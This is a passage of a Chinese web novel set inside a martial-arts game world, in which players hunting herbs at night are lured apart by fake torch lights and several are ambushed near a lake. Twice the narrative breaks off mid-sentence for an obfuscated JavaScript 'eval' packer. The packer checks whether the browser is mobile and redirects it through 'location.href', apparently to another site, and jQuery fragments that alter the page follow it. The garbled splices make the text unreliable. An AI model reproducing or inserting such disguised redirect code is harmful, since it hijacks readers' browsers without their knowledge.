亓秀秀略微数了一下手头的伤阳草,眼看着远处的光点又在往前移动了,皱起眉头,低声招呼曲小蕨跟了上去。 她觉得,现在应该担心的不是其他人那边是否顺利的问题,而是他们推进得也太过顺利了,简直就是白天任务的复刻。 一般来说,暴风雨来临之前的海面最平静,这种顺利显然只是表象。距离瀑布越近,水声就越是喧嚣,亓秀秀的精神也随之越绷越紧,思绪纷杂。 ——白天那个神秘的袭击者也是十分狡猾,选择在瀑布处偷袭尹有攸,误打误撞之间,相当于避开了他敏锐的听力侦察,如果敌人还打算故技重施的话,或许还会选择这里动手。 不过,既然带头的付井仪和尹有攸选择向瀑布这边走,那就说明他们已经做好了充足的准备,她只需要时刻留意前面的动静就可以了。 虽然这么想着,但亓秀秀心中不安的感觉却越来越浓重。 她停下脚步,从小队仓库里取出一卷绷带,将防风火把牢牢固定在左臂上端,双手从背后抽出双剑提在手中。 “秀秀姐?”曲小蕨不解。 “小蕨,你走前面,不要再低头找伤阳草了。”亓秀秀轻轻摇头,火焰在她脸颊一侧熊熊燃烧着,跳动的火苗倒映在眼底,与远处代表着其他队友的光点遥相呼应,“希望是我多心了……不对劲,总觉得很不对劲啊。” 此时同样背后泛起凉意的,还有亓秀秀的嫡队友方叱羽。 在殷炽不知道多少次回头之后,他终于忍不住了,委婉提醒道:“别看了,如果袭击者在观察我们的话,会意识到有问题的……你这样总让我觉得我们背后还跟着人。” 虽然他们背后的确跟着其他三组人就是了。 有时候无意的一句话,反而比刻意营造的恐怖气氛更吓人。殷炽刚要回头,听到方叱羽来上这么一句,顿时就觉得自己的脖颈已经像老房子很久没推开过的门轴,僵硬得有点转不动了。 他深呼吸了两次,才再一次回过头,这次看到的景象依然和前几次都没有什么区别:在离他们很远的地方,大概是谢不若和祁云纵的火把遥遥地缀在后面,因为林木阻隔而时隐时现。 “太安静了。”确认了谢不若他们没跟丢后,殷炽才解释道,“这种安静有点不同寻常……之前还隐约能听到瀑布的声音,现在倒感觉离甲丑湖越来越远了。” “可能是这口湖面积太大了吧。”他这么一说,方叱羽也感觉到了这种静谧的异常,思考了一下,“也许我们现在走到远离山崖的那一面了。” 也只有这种可能了。 殷炽余光扫到一株长相有点突出的草,弯腰握住,片刻之后摇了摇头。 这只是花叶特别了一些的普通杂草,并不是伤阳草。 “这棵也不是啊。”方叱羽一直看着他的动作,也是有点纳闷了。 不知道其他人收获如何,但是他们简直倒霉到了家,目前一株伤阳草也没摘到,纯粹是上这边儿刷步数来了,主打一个重在参与,毒清草和凝血草倒是看见不少,可惜落难侠客现在已经不需要它们了。 嗯? “凝血草、毒清草、伤阳草。”他不觉喃喃念道。 之前他们只顾着做任务,没往这方面想过,这会儿把三种药草的名字并排一看,突然就回过味儿来了。 殷炽也跟着念了一遍,若有所思地点点头。 “处理外伤,清除毒素,弥和阴阳。”他总结道,“下一个该是……会力草?调理身体?” 方叱羽看着他,突然有点感动,心想这要是换了李千驰在这,估计得问一句闲着没事干嘛报菜名。 “这样看来,NPC的任务发布还挺有逻辑的,也确实是为了他自己好。”殷炽继续在草堆里摸索,“或许他真的是落难侠客吧。” 没等到方叱羽回应,殷炽诧异抬头,就发现他举着火把,正凝神望向远方,双指圈起放到嘴边轻轻一吹——是叫在他们头顶盘旋的疾夜回来。 这里山林太过稠密,海雕体型又过大,飞在林中容易像赤箭那样碰伤羽翼,若是跟着他俩在地上跑,方叱羽又心疼,最后也只能叫它飞高一点,在林子上方紧紧地缀行。此刻方叱羽哨音一响,顿时一阵窸窸窣窣,疾夜艰难地从茂密树冠里挤下来,宽大的羽翼收起,又是一阵小范围的尘土飞扬。 “怎么了?”殷炽站起身来,问。 “看到其他火把了。”方叱羽说,语气终于轻松一点,“应该是暗中安排的支援来了,走,我们招呼其他人过去会合。” 殷炽朝那方向看去,在更远处山间,果然有一列火把的光,影影绰绰,明明灭灭。他脑海里滚过行守“严格贯彻落实双向互动机制两手发力”的碎碎念,也松了口气。 不过很快,两人就发现自己高兴得还是太早了。 那排火把的光点虽然隐约难以看清,但两个人动态视力都极强,愣是数出来了,还真是五个,暗合一小队的数量。但诡异的是,这一支队伍的位置竟然在他们的前面,看移动方向却又是往营地走去。 如果这支队伍是来和他们打配合的队友们,为什么会后发先至、走在前面?又为什么要掉过头来,朝营地方向回去? 换句话说,那真的是一支队伍吗? 拿着火把的……是人吗? 呼…… 一时间,诸如山鬼夜行、阴兵借道的种种传说都冒了出来,山风横掠过树林,稀疏虫鸣里,有股寒意从脚底往上直冒。 确定那支队伍确实在朝后移动,殷炽当机立断道:“情况不对劲,先叫停其他人,一起去看个究竟。” “好——” 方叱羽的手搭在疾夜脖颈上,刚应了一声,表情又是一变。 “不对啊。”他倒吸一口凉气,示意殷炽看向旁边,“他们……怎么不动了?” “……”殷炽做足了心理准备才敢转头。 作为W字队形中的端点,他们的左手边应该是亓秀秀和曲小蕨,身后是谢不若和祁云纵。此时,这能看到的四点火光,都和他们保持着最开始的距离,在原地幽幽地亮着。 ——既不靠近,也不远离,一动不动,好像只是在等待着方叱羽和殷炽再次前进,才会跟上来。 “我觉得,如果拿火把的人还是咱队友的话,看到咱们停了这么久,应该会靠过来了,对吧。”方叱羽寒毛直竖,紧盯着那一动不动的火光,低声道,“这些到底是什么东西?” 殷炽飞速向里挪了两步,贴紧了疾夜,冷冷道:“装神弄鬼的东西。” 方叱羽死死看着那些火光,他几乎可以确定,拿着火把的“人”绝对不是原本的亓秀秀她们了——就算真的是碰巧停下了,也不见那些“人”有什么寻找伤阳草的动作,只是静静地站在原地。 一想到这些东西不知从何时起就跟着他和殷炽亦步亦趋地前进着,始终保持着这个距离,方叱羽心底就直发凉。 “秀秀、小蕨?”他低声喊道,“是你们吗?” 黑暗里,那些漂浮的火光没有任何反应。 “呵呵。”方叱羽艰难地咧了咧嘴角,拉着浑身僵硬的殷炽,往前快走两步,又回头看。 果然,他们的位置一变,那火光也跟着移动起来,看到方叱羽这边的火把停止前进,也十分自然地停下了。 “装神弄鬼!” 殷炽低喝道,突然暴起,将右手火把向天上一扔,一甩手腕,链刃已经化作鞭状,卷住火把便朝身后“谢不若”和“祁云纵”的位置扫了过去。锋利刀刃裹着火焰划开夜空,带来一瞬光明,然而还不等火把被殷炽抛向身后的黑暗,那代表“队友”的火光忽然摇晃起来,失去了支撑,紧接着便坠落在地。 在火光熄灭前的惊鸿一瞥里,方叱羽看得清晰——擎着火把的东西,分明没有人的双腿。 那东西逃得简直是不可思议的快,几乎原地消失,被甩出去的火把终究晚到一步,滚落在地后也跟着熄灭了。殷炽收回长鞭,拼成刀刃形状提在手里,又扭头看向另一侧,果然,代表“亓秀秀”和“曲小蕨”的火光也灭了,什么W字队形,已经变成了一片漆黑。 他沉声道:“只会装神弄鬼,逃得倒是很快。” 方叱羽看了他一眼,心说你重复好几遍装神弄鬼了,其实心里超在意的吧:“我看到了,那些火光几乎是在同一瞬间消失的。” 那已经超出了人该有的速度,又整齐划一得可怕,如果人机玩家能如此训练有素,第五天梨园宴上他们早就该被人机拿下了。 然而,还不等两人琢磨出个所以然来,一波未平,一波又起。他们这边的动静,似乎被远处那支逆行的“队伍”注意到了,五个小光点前前后后变换了一番位置,竟然向这边缓慢移动过来。 “来者不善。” 方叱羽低声道。 他看了眼身边的疾夜。先前还抱有侥幸心理,觉得尹有攸在影响听力的瀑布旁遇到袭击可能是巧合,但那些伪装成队友的火光也在不知不觉间将他们引到了密林的深处,这样的地形,对Z轴作战的蓬莱和海雕限制都很大。 巧合太多就不是巧合了,潜藏在暗处的敌人很可能对他们非常了解,是有备而来。 殷炽应了一声,目光冷下来,一手提着羽书朝继,另一只手就向小队仓库摸去,下一秒动作却突然僵住了,一整个瞳孔地震:“……?” 他平时没什么表情,又爱用长围巾遮着脸,方叱羽头一次见这么明显的情绪波动,顿时便以为出了什么大事,惊道:“怎么了?” 殷炽来回掂量着手里轻飘飘的水囊,比他更震惊:“怎么没了?!” ——如果师襄或者柳七刀在场,一定能一眼认出,这就是装黑狗血的那只水囊,只不过里面的狗血早就在第五天被脱离幻境的师襄用来“斩草除根”了。 那时候华清宫发生的事情太乱太多,师襄转眼就忘到脑后,一直没来得及补货,哪里想得到无意中还给了殷炽重重一击。 方叱羽不了解其中的弯弯道道,看殷炽的样子,还以为是什么重要道具,眉头一皱:怎么偏偏在这种关键时刻出问题? 一瞬间,八百种阴谋论都被甩到了目前还未显露真身的敌人身上。 他凝神提气,身后飘带无风自动,猎猎飞扬。 一力降十会,觉得一片树林就能构成限制了,那只是还没有见识过一招从天而降的掌法! 两人做好准备,不进反退,朝着那影影绰绰的火光就直直迎了上去。 对面朝这边过来是下山,速度比他们快很多,没多大工夫就离得很近了。方叱羽轻轻拍了拍疾夜的翅膀,示意它做好攻击准备,没成想疾夜只是看了他一眼,侧过头,用喙理了理自己被拍乱的羽毛。 这下轮到方叱羽傻眼了:“……不是?” 他还没来得及搞清楚疾夜怎么了,伴随着错杂的脚步声,那几点火光已然近在眼前。这下也顾不上别的了,方叱羽右掌暗暗蓄力,随时准备攻击,就见面前的树丛摇动了一会儿之后,从里面钻出来的,竟然是头上还顶着几片落叶的叶九溪。 “怎么是你?” 四目相对,二人异口同声道。 疾夜低下头,蹭了蹭叶九溪,算是打了个招呼。紧接着树丛又是一阵晃动,唐逐星跨了出来,后面是仇非和师襄,最后是紧皱眉头掸着衣摆上泥土的卫山河。 他们的反应和叶九溪一模一样:“怎么是你们俩?” 这会儿方叱羽和殷炽也反应过来,这是负责在暗处配合的队友们前来支援了,这五个人白天都负责在甲丑湖搜寻药草,相对更熟悉道路,的确是打辅助的最好帮手。 不过,两方相见没什么喜悦,反而面上都满是疑惑。 殷炽张嘴就问:“你们怎么走到我们前面了,还是从甲丑湖向营地走?” “你在说什么胡话。”师襄皱眉,“我还想问你们,怎么就你俩往回走了?草摘完了?其他人呢?” “搞反咯,这里是乙子湖的范围。”唐逐星也道,指了指二人身后漆黑一片的山路,“那边才是去甲丑湖的嘛。” “应该是被算计了。”仇非道,观察着他们的表情,“你们迷失方向了吧。有东西故意引错路?和其他人失散了?” 一句话也没来得及说的方叱羽很快就发现,自己只需要点头就可以了。 “……十个人都能拆散,好手段啊。”师襄已经进入了状态,转头对仇非道,“不过这也说明,隐藏在暗处的那些东西战力可能不太行,不然早就动手了,哪顾得上耍些阴谋诡计。” “我也是这样想的,不过看他俩刚刚闹出来的动静,那些东西被识破之后应该是直接跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15691218|173353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。”仇非道,“这样一来,它们攻击的重心可能会转移到其他人那里……走,我们快点去甲丑湖找人。” 对甲丑湖队伍加入战局这件事,柳七刀目前还一概不知。 他高举火把,试图在黑暗中辨别方向,然而只是作无用功。 发现自己中了调虎离山计之后,他想都没想便拔足往回飞奔,但很快就迷失在了翡翠瑶池重重的深山之中,火把映亮的景色全都别无二致,柳七刀不知道自己在往哪个方向走,但跑了这么久还没回到湖边,大概率是走错了路。 四周静谧无声,连瀑布的声音都消失不见,足以说明这里距离甲丑湖已经很远。山上岩层参差起伏,时而突起、时而凹陷,也没法通过地势来判断方向。 一片寂静中只有他自己急促的喘息声,柳七刀脚下一个踉跄,扶住身边的树,感觉心脏砰砰直跳,胸口憋闷,眼前更是一阵阵发黑。 唐逐星之前说过这里海拔被浪客行改得很高,足以引发人的高原反应,想必是他先前追击时的速度太快,导致高反来了。他犹豫一瞬间,还是将新亭侯插在一边,就地坐了下来,闭上眼睛,开始调整呼吸。 欲速则不达。他在心里对自己说,相信队友,别因为关心则乱让敌人抓到破绽,那才是完蛋了。 虽然在心里把道理捋得很清楚,但等到那种头晕恶心的感觉稍稍好转一些后,他就立刻起身拔刀,继续寻找方向。开玩笑,队友们生死未卜的紧要关头,谁有工夫慢慢调理身体? 之前小心翼翼是怕打草惊蛇,这种关头也顾不上隐蔽了,立刻找到同伴最是要紧,柳七刀气沉丹田,放开嗓子高声叫道:“龙葵!” “祁云纵!” “谢不若!” 他的声音惊飞了枝头的夜枭,在漆黑山林中隐隐回荡,然而四下寂静,渺无回音。月色凄清,偌大的山里,像只剩下了他一个人。 “龙葵!你在吗?”柳七刀的华清宫ptsd都要发作了,越叫越心焦,自己到底是跑到哪里了?怎么什么人都不见? 他提着刀无头苍蝇一般乱转,恨不得插上翅膀飞回去,正急得心中发苦时,忽然看到不远处的山坳里有道白光一闪而过。 就算是陷阱,也得去闯一闯了!柳七刀精神一振,立刻便朝那个方向冲去,然而还没赶到近前,又察觉出不对来:山坳中传来一阵噼里啪啦的枝叶断折声,好像还有人在争吵;离得近了,就听到那不断争执的竟是两个陌生声音。 “那狐狸乃是吸人精气的妖,你怎辨不明人妖殊途之理!”一个男声怒气冲冲道。 第二个声音要更年轻一点,气势虽然稍弱,言语间却毫不退让:“我便情愿它吸我精气,何须你多管闲事!” 柳七刀一愣,觉得这对话似曾相识。其时他正跃下山坳,火把的光照亮对峙两人的同时,他也看得清清楚楚,那分明是一道士与一书生,双方皆风尘仆仆,做赶路人打扮,书生身后还藏着一只向道士呲牙怒对的白狐。 他提着寒光闪烁的新亭侯突然从山坳上方的密林里窜出来,把两方都吓了一跳,道士更是脱口而出:“这鬼地方怎的还有人?” 待定睛看清柳七刀衣着打扮之后,他顿时便喜上眉梢,一甩拂尘道:“竟是霸刀山庄来人!侠士,快助我除了这妖孽!” 和道士满脸喜色不同,书生见了柳七刀,却是脸色苍白,回身死死护住狐狸,口中连道不可:“大侠冷静啊!人之一世生死有命,留下阿诺是我自己的选择!” 柳七刀刚落地,还没等站稳就被两人一边一个拖住,倒也反应过来了:这竟是一段NPC同行剧情。 浪客行里所有的NPC同行剧情,陆厌早都在第六天给大家补过课了,柳七刀认真听讲,当然记得。这带着白狐的书生名为梁生,而玩家需要做出抉择,帮助道士杀死白狐,或帮助梁生战胜道士;那道士说的话也是真的,梁生与白狐日夜相伴,的确损耗生命,如果放走了白狐,梁生终会因此而死,再遇到白狐时,它便会请求玩家帮忙埋葬梁生。 “世间情意何处不可寄,你如此执迷不悟,定要搭上己身性命!” 道士又和梁生吵起来了。梁生看着文文弱弱的一个书生,犟起来比起落难侠客那头牛也是不遑多让,梗着脖子高声道:“人生大梦性命可抛,我便执迷又何妨!” 道士被他气个半死,大怒:“它此番能害你,他日便会害别人,今日贫道必除此妖!” 说罢,道士再度对柳七刀道:“师门有训,除妖降魔切不可伤人,我怕这书生阻拦于我,还请这位侠士助我将妖狐拿下!” “大侠三思!”梁生嗷的一嗓子石破天惊,“那道士说的话我早就明了,但我早已与阿诺约定生死相随,阿诺又从未害过他人,难道我是生是死自己都不能决定么?!” “这……”柳七刀自己都急得满头包了,现在还被两人扯住,莫名其妙多了个判官身份,真是两眼一黑。他看那梁生一副将生死置之度外的痴情模样,干脆对着梁生身后的白狐道:“这道士说得没错,你和他同行确实会害死他,即使如此,你还要留在他身边么?” “这狐狸竟已修炼到会说话的程度?”道士大惊失色,对柳七刀道,“这下大侠你真得帮帮我了!” 柳七刀没理他,就看见白狐嘴一张,果然口吐人言,那声音低细而柔婉,满是哀伤: “我就是妖,如何不知人妖殊途?只是我俩早已决心要生死相许,他既不惧死,我又如何能弃他而去?” “阿诺……”梁生红了眼眶,满脸动容。 “你们等会儿自己解决可以吗?我赶时间!”柳七刀真没心情看一人一狐含情脉脉地对视,在心里默念声抱歉,飞快打断了梁生还没出口的吟唱。 他从来没用这么快的语速说过话,又问那道士:“请问你知道甲丑——呃,就是这附近的一口很大的湖——在哪个方向么?” 那道士还指望柳七刀和他一起降妖除魔,听到他说到“湖”,脸色却忽然大变,顿时甩过拂尘对准柳七刀,身手敏捷地后退三大步:“我就说霸刀山庄的正经弟子怎会出现在这里,你果然也不是什么好人!” “我吗?”柳七刀莫名其妙,急得恨不得把这道士头朝下脚朝上地甩两下、将他肚子里的话统统倒出来,“这地方怎么了?湖有什么问题?” 道士的拂尘先指向柳七刀:“妖人!” 又指向那白狐:“妖物!” 最后恨铁不成钢地看向梁生:“在这妖地盘桓,还说什么风景甚美,果然是早被迷失了心智!现在快快回头随我逃去,还来得及!” “你先说清楚,这地方有什么问题!”柳七刀看着那拂尘在面前晃来晃去,干脆用刀鞘一挡,使了个巧力挑飞到半空,“什么妖人妖地,我也是偶然到这里来的!” 道士的手被他震开,虎口一阵发麻,好不容易接住了被挑飞的拂尘,皱起眉头半信半疑地细细打量柳七刀,刚要开口说话,那在一边沉默半晌的白狐突然自喉咙里发出咯咯嬉笑,尖利的女声在夜色中格外诡异。 “说好了在这里动手,快杀了这个牛鼻子!”便见那白狐咧嘴,露出森森白牙,对柳七刀眨了眨眼睛,金褐的兽瞳在火把照射下如同一把尖锥,阴沉沉笑道,“还犹豫什么呢!” 71. 第七天·翡翠瑶池(七十一) “咳、咳咳。” 这动静持续有一会儿了,裴洛川深呼吸,终于忍不住道:“有话可以直说。” 落难侠客不好意思地笑了笑:“诸位,我要行个方便,麻烦你们让一下?” 留守营地的,只剩乙丑湖一队五人,分别是李千驰、裴洛川、行守、祝灵正和陆厌,此时正将落难侠客团团围坐在中间,以确保万无一失。 听到他要去解手,几人对视一眼,陆厌拍拍李千驰的肩膀,两人一起站起来,都是高个子,一左一右将落难侠客夹在中间,居高临下道:“走,我们带你去。” “哎,其实我没那么虚弱,可以自己找地方。”落难侠客试图挣扎,“各位也不必如此担心啊,追杀我的人并没有跟进山里,你看我都应你们要求另分了五人去采集伤阳草,哎哎,别拽我啊——” “废话那么多呢!”李千驰道,手上使劲,把他架走了。 眼看着三人的身影消失在营地后,行守叹了口气。 “不知道这会儿他们走到哪里了。” 裴洛川掏出香篆钟看了一眼:“算算时间,秀秀那队应该已经到了,后面仇非她们估计才走了一半。” 祝灵正抱着魂灯,看着跳动的篝火,静静地听他俩说话。 他心情不是很好,有点像之前在华清宫围着轮回珠看队友在里世界和鬼斗智斗勇的感觉,没什么能做的,也不知道该做什么。翡翠瑶池这张地图太大了,人走在其中就像一只小小的蚂蚁,无论去哪里动辄就是一两个时辰,冷清的月色下,莽莽苍苍的山谷向远方绵延而去,只留下望不可穿的深黑剪影。 裴洛川拿了根树枝,在沙地上写字。 他的字很好看,一看就是练过的,工整又端正,横平竖直,笔尽含锋,在华清宫时大家已经领教过了,只是写的内容让人一看就心里烦闷。 夜晚、钅、丶面、不要信。 在这几个词组下面,又排列不少最后一笔是“丶”的汉字,可惜能和“面”组成词的,都是些“煮面”“热面”之类的怪东西,想也知道,颂命不可能在信里写这种毫无意义的词。 裴洛川百思不得其解,端详了半天,转头问另外两人:“你们包里有面条吗?煮来看看……哦,条也算一个。” 他也是死马当活马医了,又写了个“条面”,写到一半,忽然想起了什么,眉头一皱,笔下的线条就另往一边拐去。 行守和祝灵正探头一看,就发现地上赫然是一个“东面”。 “东面。”裴洛川喃喃道,“这个说得通吧?东面——糟糕。” 尽管心里已经有数了,但祝灵正还是掏出地图展开看了一眼,地图上,甲丑湖的方向正在整个翡翠瑶池的最东边。 一瞬间,无数以“夜晚”“东面”“不要信”为中心词展开的长难句在三个人的脑海里缓缓浮现,无论如何组词造句,这些句子最后所表达的含义都非常糟糕,三人面面相觑,意识到他们很可能已经踩到了颂命想给他们扫掉的那颗雷。 “说不定不是东面呢。”行守干笑两声,“一般人很少说东面吧,都说东边。” “这倒是。” 裴洛川用树枝划去沙地上那些猜测,叹了口气:“还好甲丑湖那边仇非、师襄和付井仪都在。要不是营地这边实在离不了人——” 他还想继续说下去,但营地后却传来一阵不同寻常的响动,甚至隐隐有金石碰撞的声音响起。远远地就听到落难侠客痛呼一声,而紧接着便是李千驰的大喝:“什么人!” “快来!”这是陆厌的声音。 不是吧,真出事了! 三人心中一惊,飞快地跳起来,各自抄起武器就朝陆厌和李千驰带着落难侠客去解手的方向冲去,还没到地方,就听到马蹄声起,似乎是李千驰追着什么东西冲进了树林。 解决“人生大事”的地方并不远,就在营地背后一块挡风巨石旁,转过来,便看见落难侠客倚在巨石边,捂着手臂,似乎是受了伤,但面色还好。行守四处张望,没见到李千驰和陆厌,急忙问道:“他们人呢?” “追着不知道什么东西窜进林子去了。”落难侠客也是满脸惊魂未定,一边嘶嘶地倒吸凉气,一边道,“你们快去帮忙吧!” “走!”裴洛川立刻道,话出口了又察觉不对,“不行,得留人守着他!” “放心,这边我来。” 行守道,停下脚步,双手成印、足踏金莲,背后巨大金狮幻影一闪而过,光芒大盛,将落难侠客笼罩在其中。 带狮啸效果的大狮子吼阵法要求少林本身不能移动,他盘腿坐在阵法中央,燃木横放膝上,问同在阵中的落难侠客:“什么人伤你?是追杀你的仇家么?” “应当不是。”落难侠客难得正经一次,认真答道,“那人是偷袭,没看到身形。” 行守看了他一眼,目光落到他一直捂着的左臂上,指缝间隐隐能看到被划破的衣袖下的血痕,伤口浅而狭长,似乎是道刀伤。 另一边,裴洛川和祝灵正已经追着李千驰到了林前。 即将踏进那深林的一刻,两人的脚步突然一顿——有一阵莫名的冷风从漆黑的密林深处卷了出来,从身边掠过。 裴洛川额边的碎发被夜风向后扬起,心也跟着狂跳起来,有一种极其危险的预感。 “李千驰!”他大吼道,“快回来!别追了!” 祝灵正落后他两步,闻言手腕一翻,几张带着淡紫色微光的符纸直直射向林中,即将落地的片刻齐齐燃烧起来,将黑暗的丛林照亮了一刹。 火光不仅照亮了李千驰纵马的背影,虽然只有片刻,但也足够让人看清,那树林里临近地面约有人小腿高的地方,竟然横着数条手指宽的麻绳! 那些绳索两头都绑在树上,绷得像拉紧的弓弦,李千驰借着身后的火光也看得清楚,骂了一句,双腿猛地一夹马镫,手绕缰绳向后用力拉去,绿螭骢长长嘶鸣一声,人立而起,硬生生止住了往前冲的势头。 裴洛川挥笔,墨泼如刀,斩断离他们最近的几条麻绳,在松了口气的同时,心中也惊疑不定起来。 在林间设置绊马索,这分明就是针对李千驰!袭击者到底是什么人,为何会对他们如此了解? 兰瑾的脸在他脑海中一闪而过,但裴洛川摇了摇头,又自我否定了。人机队伍很强,却不至于神出鬼没到这种程度,更不可能在完全没被他们察觉的情况下做出这些事情。 手段虽然阴狠,万幸的是,他们提前察觉到了,没有受伤。裴洛川想着,看到李千驰跳下马呼噜了两把受惊的小绿的鬃毛,扬声问道:“陆厌呢……” 话没说半截,他背后忽然传来一声闷响,裴洛川猝然回头,飞溅的血花落到他的眼里,视野也跟着变得一片血红。 龙葵睁开眼睛。 她的意识有些模糊,人也昏昏沉沉,不知道自己身在何方,只知道天依然是黑的,周围一片伸手不见五指。 这样的状态持续了一小会儿之后,她才发现,周围很近的地方都晕着火把的亮光,先前觉得暗,只是自己的视野发黑;思维也渐渐回笼,她正被人背着,走在山路上,不知道在向何处前进。 视线恢复后,对身体各处的痛觉回馈一并缓慢地回到了大脑。太疼了——龙葵僵硬着身子,一动也不敢动,冷汗顿时就密密麻麻布满了额头。在极度的疼痛中,她侧过眼睛,发现背着她的是叶九溪。 山路很颠簸,他的速度不快,已经在尽力走得很稳了。 “她醒了!” 不知道是谁忽然惊呼一声,叶九溪立刻停下脚步,龙葵眼前的光线闪闪烁烁,好像不少人围了过来,遮住了火把的光。有人在说话,龙葵在一片混沌中艰难地辨别着,听到了非常熟悉的声音—— “别动,别说话,你伤得很重,保留体力。” 是仇非。 她顿时就松了口气,但话是不能不说的:“谢……” 一开口疼痛更甚,她能感觉到腰腹处的血管一跳一跳,好像要随着动作炸开,密密麻麻像有利齿在啃噬血肉,声音更是虚弱到近似于无;还好队友们都懂,龙葵只觉得眼前火光大亮,她疲倦地抬起眼,过了一会儿才反应过来是谢不若举着火把凑过来了。 “我俩都没事,放心。”谢不若弯腰凑到龙葵脸前,好让她看清。他的声音嘶哑得好像K了三天三夜的歌,一开口就是一股铁锈味,斗笠不知道掉哪去了,束好的头发也乱了,黏着水草树叶粘在脸上肩上,整个人看起来都狼狈不堪。 龙葵心里一直紧绷的那根弦终于断了,眼泪顺着她的眼角静静地流,说不上是疼的还是其他原因:“柳……七刀……” “有人去喊他回来了。”仇非道,轻轻握着她垂在身侧的手,“别说话了,我们先把你送回营地。” 感觉背上洇开一小片温热的泪痕,叶九溪也跟着鼻子一酸。 他们和方叱羽、殷炽会合后,便头也不回地往甲丑湖赶,但一路上竟然完全没有再遇到其他采集伤阳草的人。 这时候大家就开始察觉不对了,转而寻找一路上的痕迹,终于循着柳七刀他们走过的路来到了甲丑湖旁边,好巧不巧,正好撞上了正在湖边救人的付井仪和尹有攸。 他们俩也只比大部队早到一步,是发觉队友不在身边才回头找人的,然而苦于湖里暗流太过汹涌、水里有什么危险又不明确,更没有龙葵催生藤蔓那样的技能傍身,一堆影子已经携手拼命扯住人了,还是在不断地被往水底卷去。 看到这一幕,大家都吓得够呛,二话不说赶紧捞人,又是子母飞爪又是驭羽骋风,两个莫问十二个影子全都用上了,好歹是给三个人全都拉上了岸。 本以为这就没事了,没想到拉龙葵上来的时候,师襄感觉手上触感有异,低头一看,竟然是满手淋漓的鲜血。 现在想起来,叶九溪还忍不住后怕: 那是道可怖的、巨大的伤口,从左腰延伸到右腹,下手狠厉,看得出来,旨在一击毙命。冰凉的水渍被滚烫鲜血漫过,从仇非紧紧捂着龙葵伤口的指缝间溢出,精制绷带无论绕了多少层,都是刚缠上去就被打湿。 另外两人的情况也不乐观,祁云纵还好些,意识清醒、呼吸困难,自己趴在岩石上边咳边吐,手都抬不起来;谢不若呼吸心跳都还正常,但人醒不过来,吐气时又有杂音,应该是有淤泥杂草堵住了气道,唐逐星和尹有攸在用侧卧位给他清理;独独龙葵这边的情况最危急,最后还是山河接云生再接云生,才争取到给她灌下凝血精的机会,从阎王殿前把人拉了回来。 至此,什么采集伤阳草的任务,他们都已经没法兼顾了。 因为这张地图的特殊性,明知道分队走危险,但大家还是不得不捏着鼻子分出一半人继续去找下落不明的柳七刀、亓秀秀和曲小蕨,以防他们也遭遇不测。最后分队的结果,是付井仪、唐逐星、尹有攸、方叱羽和殷炽去找人,而师襄、仇非、卫山河还有他自己,就负责带伤者们回到营地,去找留守在那里的祝灵正进行治疗。 叶九溪能感觉到背上的龙葵正在小幅度地发抖,那是由于疼痛而产生的生理性痉挛。他小心翼翼,更加放轻了脚步,眼前好像不是昏黑的翡翠瑶池,一晃神,竟然有种回到了绥梦山的感觉。 趁着大家都在关心背上的龙葵,他深吸一口气,感觉眼眶滚烫,心里却如释重负。 还好这次他们来得及时,还好他们这次赶上了。 山路崎岖而漫长,龙葵精神不好,很快又昏睡过去。 这种足以致命的伤口已经超出了能用系统药品治愈的程度,玩家技能也只能减轻伤势,恐怕需要回到客栈才能愈合。 几个人一边走,一边询问着祁云纵当时的情况。三个人里,他是受伤最轻的那个,可惜一切都发生得太过突然,他也没看到到底是谁下的手。 “还是没觉得有哪里不对吗?”师襄问。 “没有。”祁云纵很确定地说。 “……”师襄皱着眉头思考起来。实话说,悄无声息接近已经身经百炼的玩家,完全不泄露出任何有可能暴露自己的杀意,能做到这一点的,已经不像是人了。 不光袭击者诡异,它们发动的袭击也同样奇怪。冲着谢不若和祁云纵下手,引开了柳七刀,最后受伤最重的却是龙葵,怎么也说不过去;但如果对方一开始的目标就是她,那一切都会变得顺理成章起来。 ——为什么是龙葵? 另一边,继续往山林中深入、去寻找柳七刀等人的付井仪他们也在讨论这个问题。 吸取前车之鉴,这次他们即使有五个人,也没有再分头行动。本来想引出藏在暗处的袭击者,没想到却被反将一军,一行人边讨论边赶路,心里都很沉重。 如果说龙葵和其他玩家有什么本质上的差别的话,那就是银光照雪可以奶人。目前看来,浪客行中的治疗等级和游戏中还不太一样,游戏里凝血精那是救命的东西,但实践中,玩家的回复技能似乎要比系统药品的治愈能力更强一些。 袭击者会不会也知道这一点,所以这次选择龙葵下手? “这是柳七刀留下的痕迹吧。”一直默默留意着地面的殷炽突然道。 众人停下脚步,高举火把,果然便看到前方十几米林断草折,连树根都带着土块从地下翻了出来,一片混乱不堪,好像被风暴席卷过一样,但破坏区域的边缘又很齐整,十分符合霸刀的技能特征。 好不容易有了线索,他们仔细搜索,果然在这几道刀气形成的沟壑附近找到些脚印。但越向林中深入,植被便愈加茂盛繁密,不多时脚印便消失在密密麻麻的杂草之中,根本看不出留下这些足迹的柳七刀往哪个方向去了。 线索至此中断,但在检查和寻找的过程中,倒是让大家发现了更奇怪的事情。 ——祁云纵说柳七刀是追着袭击者冲进密林的,但这一路上,只有柳七刀的脚印时断时续,袭击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“也许,我们找不到袭击者的踪迹,是因为我们已经找到了,但惯性思维却还认为自己没有找到。”付井仪道,指向他们另一侧的山道,“我们在这一路所见到的痕迹,除了柳七刀留下的,就只剩下这些了。” 几人顺着他指的方向看去,就看到那是一个小水洼,周围一片泥泞,留下了不少飞禽走兽来取水的爪痕蹄印。 